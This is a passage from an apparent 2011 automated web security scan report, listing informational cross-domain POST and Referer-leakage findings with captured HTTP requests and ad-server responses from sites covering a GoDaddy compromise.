<div id="rating"><strong>Rate this article: </strong><ul class="star-rating"><li><a rel="nofollow" href="/rate/article/4714/1?locale=en" title="Not helpful">Not helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/2?locale=en" title="Somewhat helpful">Somewhat helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/3?locale=en" title="Helpful">Helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/4?locale=en" title="Very Helpful">Very Helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/5?locale=en" title="Solved my problem">Solved my problem</a></li></ul><div class="bottom"></div></div>
</div>

<div id="base" style="clear: both"></div>



           
           

       </div>
       

       <div id="footer">

Copyright © 2005 - 2011. All rights reserved.                    </div>
       
       
   </body>
</html>

Request 2

GET /article/4714 HTTP/1.1
Host: help.securepaynet.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:09:55 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5
Vary: Accept-Encoding
Content-Length: 11334
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

<html>
   <head>
       <title>
                           Setting up Your Email Address with IMAP -
                                       Help Center
                   </title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

...[SNIP]...
<img src="//img.secureserver.net/image.aspx?page=%2Farticle%2F4714&site=help.securepaynet.net&server=m1plgdhelp006&status=200&article_id=4714&locale=en&topic_id=167" class="gdti" border="0" width="1" height="1" style="width: 1px; height: 1px; border: 0; margin: 0; padding: 0; position: absolute; top: 1em; left: 0.5em;" alt="" />



<div id="rating"><strong>Rate this article: </strong><ul class="star-rating"><li><a rel="nofollow" href="/rate/article/4714/1?locale=en" title="Not helpful">Not helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/2?locale=en" title="Somewhat helpful">Somewhat helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/3?locale=en" title="Helpful">Helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/4?locale=en" title="Very Helpful">Very Helpful</a></li><li><a rel="nofollow" href="/rate/article/4714/5?locale=en" title="Solved my problem">Solved my problem</a></li></ul><div class="bottom"></div></div>
</div>

<div id="base" style="clear: both"></div>



           
           

       </div>
       

       <div id="footer">

Copyright © 2005 - 2011. All rights reserved.                    </div>
       
       
   </body>
</html>

14. Cross-domain POST previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thehackernews.com
Path:	/2011/09/godaddy-websites-compromised-with.html

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

Request

GET /2011/09/godaddy-websites-compromised-with.html HTTP/1.1
Host: thehackernews.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=93595608.1834991741.1316213726.1316213726.1316213726.1; __utmb=93595608.1.10.1316213726; __utmc=93595608; __utmz=93595608.1316213726.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

15. Cross-domain Referer leakage previous next
There are 82 instances of this issue:

http://a.collective-media.net/cmadj/ds.home/default
http://ad.doubleclick.net/adj/inet.whir/news
http://ad.doubleclick.net/adj/inet.whir/news
http://ad.doubleclick.net/adj/inet.whir/news
http://ad.doubleclick.net/adj/inet.whir/news
http://ad.doubleclick.net/adj/inet.whir/news
http://ad.doubleclick.net/adj/inet.whir/news
http://ad.doubleclick.net/adj/inet.whir/news
http://ad.doubleclick.net/adj/inet.whir/news
http://cdn.sendgrid.com/js/sg.gz.js
http://cm.g.doubleclick.net/pixel
http://cm.g.doubleclick.net/pixel
http://cm.g.doubleclick.net/pixel
https://dev.opera.com/login/wronglogin.dml
http://go.icontact.com/SEM/AP
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1071433059/
http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1072356810/
http://help.securepaynet.net/topic/168/article/5246
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
http://landing.sendgrid.com/smtp-with-bullet-points/
http://mediacdn.disqus.com/1316112938/build/system/disqus.js
https://my.opera.com/community/signup/
https://mya.godaddy.com/Default.aspx
https://mya.godaddy.com/myrenewals/myRenewals.aspx
http://player.ooyala.com/player.js
http://portal.opera.com/portal/tabs/
http://portal.opera.com/portal/tabs/
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js
http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css
http://rover.ebay.com/ar/1/711-53200-19255-108/1
http://search.altn.com/search
http://seg.sharethis.com/getSegment.php
http://sendgrid.com/pricing.html
http://srv.healthheadlines.com/s.php
http://t.tellapart.com/hif
http://tag.admeld.com/id
http://tag.admeld.com/id
http://widgetsplus.com/google_plus_widget.php
http://ws.amazon.com/widgets/q
http://www.altn.com/Products/MDaemon-Email-Server-Windows/
http://www.authsmtp.com/
http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp
http://www.facebook.com/connect/connect.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/recommendations.php
http://www.godaddy.com/gdshop/site_search.asp
http://www.godaddy.com/offers/hot-deals2.aspx
http://www.godaddy.com/productadvisor/pastart.aspx
http://www.google.com/search
http://www.google.com/search
http://www.google.com/search
http://www.google.com/url
http://www.google.com/url
http://www.google.com/url
http://www.google.com/url
http://www.google.com/url
http://www.google.com/url
http://www.googleadservices.com/pagead/conversion/1036609180/
http://www.googleadservices.com/pagead/conversion/1038104282/
http://www.googleadservices.com/pagead/conversion/1071433059/
http://www.googleadservices.com/pagead/conversion/1072356810/
http://www.imailserver.com/windows-email-server/
http://www.jangosmtp.com/Free-Account.asp
https://www.jangosmtp.com/PasswordReset.asp
https://www.jangosmtp.com/login.asp
http://www.opera.com/
http://www.powermta.port25.com/smtp-server-software-2/
http://www.smtp.com/
http://www.smtp2go.net/index.php
http://www.socketlabs.com/lpages/od-smtp-service
http://www.stumbleupon.com/badge/embed/1/
http://www.ubm.com/en/site-services/search/search-result.aspx
http://www.youtube.com/embed/lIEF1xCAvxo

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

15.1. http://a.collective-media.net/cmadj/ds.home/default previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ds.home/default

Issue detail

The page was loaded from a URL containing a query string:

http://a.collective-media.net/cmadj/ds.home/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?;ord1=216411;cmpgurl=http%253A//www.drugstore.com/?

The response contains the following link to another domain:

http://c.betrad.com/a/4.gif

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Fri, 16 Sep 2011 16:30:30 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: exdp=1; domain=collective-media.net; path=/; expires=Fri, 23-Sep-2011 16:30:30 GMT
Set-Cookie: ibvr=1; domain=collective-media.net; path=/; expires=Fri, 23-Sep-2011 16:30:30 GMT
Set-Cookie: targ=1; domain=collective-media.net; path=/; expires=Fri, 23-Sep-2011 16:30:30 GMT
Set-Cookie: brlg=1; domain=collective-media.net; path=/; expires=Fri, 23-Sep-2011 16:30:30 GMT
Content-Length: 8341

var cid='121773f9380f32f';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i
...[SNIP]...
/a.collective-media.net/datapair?net=vt",false);var bap_rnd = Math.floor(Math.random()*100000);
var _bao = {
coid:717,
nid:1525,
ad_h:250,
ad_w:300,
uqid:bap_rnd,
cps:''
};
document.write('<img style="margin:0;padding:0;" border="0" width="0" height="0" src="http://c.betrad.com/a/4.gif" id="bap-pixel-'+bap_rnd+'"/>');
(function() {
if(document.getElementById('ba.js')) return;
document.write('<sc'+'ript id="ba.js" type="text/javascript" src="http://c.betrad.com/geo/ba.js">
...[SNIP]...

15.2. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;pos=button1;sz=125x125;tile=3;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1559765/Parallels07_automation125x125c_022311.gif

Request

GET /adj/inet.whir/news;pos=button1;sz=125x125;tile=3;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 336
Date: Fri, 16 Sep 2011 18:00:23 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/n;242481541;0-0;1;61214754;3-125/125;41662720/41680507/1;;~sscs=%3fhttp://www.parallels.com/cloudthought"><img src="http://s0.2mdn.net/viewad/1559765/Parallels07_automation125x125c_022311.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.3. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;sz=300x100;tile=7;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1559740/LiquidWeb_storm_300x100_082510.gif

Request

GET /adj/inet.whir/news;sz=300x100;tile=7;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 375
Date: Fri, 16 Sep 2011 18:00:29 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/l;246286525;0-0;0;61214754;3823-300/100;41946901/41964688/1;;~sscs=%3fhttps://www.stormondemand.com/cloud-hosting/campaign/YRT6zwyKF-up8RhkhrDKE8DtQhI"><img src="http://s0.2mdn.net/viewad/1559740/LiquidWeb_storm_300x100_082510.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.4. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;sz=300x250;pos=mrec1;tile=8;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1765432/R1Soft_300x250_banner_072611.gif

Request

GET /adj/inet.whir/news;sz=300x250;pos=mrec1;tile=8;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 393
Date: Fri, 16 Sep 2011 18:00:29 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/w;243065997;0-0;0;61214754;4307-300/250;43261374/43279161/1;;~sscs=%3fhttp://www.r1soft.com/index.php?id=718&utm_source=thewhir.com&utm_medium=banner&utm_campaign=q2promo"><img src="http://s0.2mdn.net/viewad/1765432/R1Soft_300x250_banner_072611.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.5. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;pos=button4;sz=125x125;tile=6;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3150196/WhirMag_125x125_July2011.jpg

Request

GET /adj/inet.whir/news;pos=button4;sz=125x125;tile=6;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 325
Date: Fri, 16 Sep 2011 18:00:27 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/q;244728232;0-0;4;61214754;3-125/125;43486777/43504564/1;;~sscs=%3fhttp://www.thewhir.com/Magazine/11-July"><img src="http://s0.2mdn.net/viewad/3150196/WhirMag_125x125_July2011.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.6. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;pos=button2;sz=125x125;tile=4;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3150196/WHIR_125x125-EVENT-SCOTTSDALE_2011.jpg

Request

GET /adj/inet.whir/news;pos=button2;sz=125x125;tile=4;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 348
Date: Fri, 16 Sep 2011 18:00:24 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/r;245729415;0-0;1;61214754;3-125/125;42682125/42699912/1;;~sscs=%3fhttp://www.thewhir.com/whir-events/092211_Scottsdale"><img src="http://s0.2mdn.net/viewad/3150196/WHIR_125x125-EVENT-SCOTTSDALE_2011.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.7. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;pos=bottom;sz=728x90;tile=9;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2253104/070711_servint_whir_728x90.gif

Request

GET /adj/inet.whir/news;pos=bottom;sz=728x90;tile=9;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 333
Date: Fri, 16 Sep 2011 18:00:30 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/v;243051231;0-0;2;61214754;3454-728/90;43006241/43024028/1;;~sscs=%3fhttp://www.servint.net/index.php?affid=3014"><img src="http://s0.2mdn.net/viewad/2253104/070711_servint_whir_728x90.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.8. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;pos=topright;sz=146x96;tile=2;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3289971/Dell_146x96_anim_081111_3000ms-delay.gif

Request

GET /adj/inet.whir/news;pos=topright;sz=146x96;tile=2;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 331
Date: Fri, 16 Sep 2011 18:00:22 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/a;243993375;0-0;1;61214754;10106-146/96;43548967/43566754/1;;~sscs=%3fhttp://www.Dell.com/PowerEdgeC"><img src="http://s0.2mdn.net/viewad/3289971/Dell_146x96_anim_081111_3000ms-delay.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.9. http://ad.doubleclick.net/adj/inet.whir/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/inet.whir/news

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/inet.whir/news;pos=button3;sz=125x125;tile=5;ord=76329187210.64925?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3327599/Hostapalooza_125_090111.jpg

Request

GET /adj/inet.whir/news;pos=button3;sz=125x125;tile=5;ord=76329187210.64925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 328
Date: Fri, 16 Sep 2011 18:00:26 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b84/0/0/%2a/x;245498339;0-0;1;61214754;3-125/125;43734729/43752516/1;;~sscs=%3fhttp://www.hostapaloooza.com/click/whir.php"><img src="http://s0.2mdn.net/viewad/3327599/Hostapalooza_125_090111.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

15.10. http://cdn.sendgrid.com/js/sg.gz.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.sendgrid.com
Path:	/js/sg.gz.js

Issue detail

The page was loaded from a URL containing a query string:

http://cdn.sendgrid.com/js/sg.gz.js?r=1315865266

The response contains the following link to another domain:

http://player.vimeo.com/video/23283604?&api=1&id=vimeoplayer&autoplay=1

Request

GET /js/sg.gz.js?r=1315865266 HTTP/1.1
Host: cdn.sendgrid.com
Proxy-Connection: keep-alive
Referer: http://sendgrid.com/pricing.html?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __pcid=9GFPhk:1; _mkto_trk=id:467-KXI-123&token:_mch-sendgrid.com-1316204836485-43033; __utma=139434414.731002222.1316204836.1316204836.1316204836.1; __utmb=139434414.2.10.1316204836; __utmc=139434414; __utmz=139434414.1316204836.1.1.utmgclid=CPWo1PSJoqsCFRRSgwod8HVslQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ptca=111872475.dUUOzxbhAvTn.1316222838.1316222838.1316222838.1; __ptv_0a6gTR=dUUOzxbhAvTn; __pti_0a6gTR=dUUOzxbhAvTn; __ptcc=1; __ptcs=111872475.1.10.1316222838; __ptcz=111872475.1316222838.1.0.ptmcsr=google|ptmcmd=organic|ptmccn=(organic)|ptmctr=smtp+server|ptmcex=9GFPhk.3Gp89g.1|ptmcx2=9GFPhk.3Gp89g.1

Response

HTTP/1.0 200 OK
x-amz-id-2: liODJrr6jvnhndwrrAM7w9czHZqGNvIbLmooYxyunI/8yLNsY6n1YV8KVndV15TJ
x-amz-request-id: 3728DB144A4B308C
Date: Mon, 12 Sep 2011 23:08:05 GMT
Expires: Sun, 12 Sep 2021 22:07:46 GMT
Last-Modified: Mon, 12 Sep 2011 22:07:47 GMT
ETag: "4245b7be1b1ad24f8ed23a49934618dc"
Accept-Ranges: bytes
Content-Type: application/x-javascript
Content-Length: 10972
Server: AmazonS3
Age: 318029
X-Cache: Hit from cloudfront
X-Amz-Cf-Id: 14ce5e33b39370ee011b7662888a9807c22b40c6d55243745591b197c86cf9a4e9a8513118fd9c3a
Via: 1.0 c36847c5252e758d61b94a1d396be659.cloudfront.net:11180 (CloudFront), 1.0 3699e83baef736bc2f2d3eba34fbb977.cloudfront.net:11180 (CloudFront)
Connection: keep-alive

(function($, window, undefined){
// Populates a list of dialog errors
$.fn.dialogErrors = function(errors)
{
// Clear out existing errors
this.find('span.error').html();

for (var fi
...[SNIP]...
myopts);
});
});

//This js code is for the tour video on the /features page
$('#video-link').click(function(){
$('#sendgrid-video').html('<iframe src="http://player.vimeo.com/video/23283604?&api=1&id=vimeoplayer&autoplay=1" width="500" height="281" frameborder="0"></iframe>
...[SNIP]...

15.11. http://cm.g.doubleclick.net/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cm.g.doubleclick.net
Path:	/pixel

Issue detail

The page was loaded from a URL containing a query string:

http://cm.g.doubleclick.net/pixel?google_nid=tellapart&google_cm=&google_sc=&uid=ABJeb1_hITZ4OM9aGlxEHSKmRd7_uqx2bJpRQQNM3YerOJkbqNJVUAgugK4H9ttdVJj_xAH0umUj6_KTr1kfvYGv0ZO-NVQZzQ

The response contains the following link to another domain:

http://a.tellapart.com/dclkmatch?nid=&uid=ABJeb1_hITZ4OM9aGlxEHSKmRd7_uqx2bJpRQQNM3YerOJkbqNJVUAgugK4H9ttdVJj_xAH0umUj6_KTr1kfvYGv0ZO-NVQZzQ&google_gid=CAESEBLIjS3ntgDBNYw9VyImf1w&google_cver=1

Request

GET /pixel?google_nid=tellapart&google_cm=&google_sc=&uid=ABJeb1_hITZ4OM9aGlxEHSKmRd7_uqx2bJpRQQNM3YerOJkbqNJVUAgugK4H9ttdVJj_xAH0umUj6_KTr1kfvYGv0ZO-NVQZzQ HTTP/1.1
Host: cm.g.doubleclick.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://t.tellapart.com/hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167
Cookie: id=229a9504260100ca||t=1312233693|et=730|cs=002213fd4876a8a011eba88ea7

Response

HTTP/1.1 302 Found
Location: http://a.tellapart.com/dclkmatch?nid=&uid=ABJeb1_hITZ4OM9aGlxEHSKmRd7_uqx2bJpRQQNM3YerOJkbqNJVUAgugK4H9ttdVJj_xAH0umUj6_KTr1kfvYGv0ZO-NVQZzQ&google_gid=CAESEBLIjS3ntgDBNYw9VyImf1w&google_cver=1
Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21-July-2008 23:59:00 GMT
Cache-Control: no-store, no-cache
Pragma: no-cache
Date: Fri, 16 Sep 2011 16:30:41 GMT
Content-Type: text/html; charset=UTF-8
Server: Cookie Matcher
Content-Length: 402
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://a.tellapart.com/dclkmatch?nid=&uid=ABJeb1_hITZ4OM9aGlxEHSKmRd7_uqx2bJpRQQNM3YerOJkbqNJVUAgugK4H9ttdVJj_xAH0umUj6_KTr1kfvYGv0ZO-NVQZzQ&google_gid=CAESEBLIjS3ntgDBNYw9VyImf1w&google_cver=1">here</A>
...[SNIP]...

15.12. http://cm.g.doubleclick.net/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cm.g.doubleclick.net
Path:	/pixel

Issue detail

The page was loaded from a URL containing a query string:

http://cm.g.doubleclick.net/pixel?google_nid=sha&google_cm&stid=i-048AA00A35CF5E4EC53E553302EE710A

The response contains the following link to another domain:

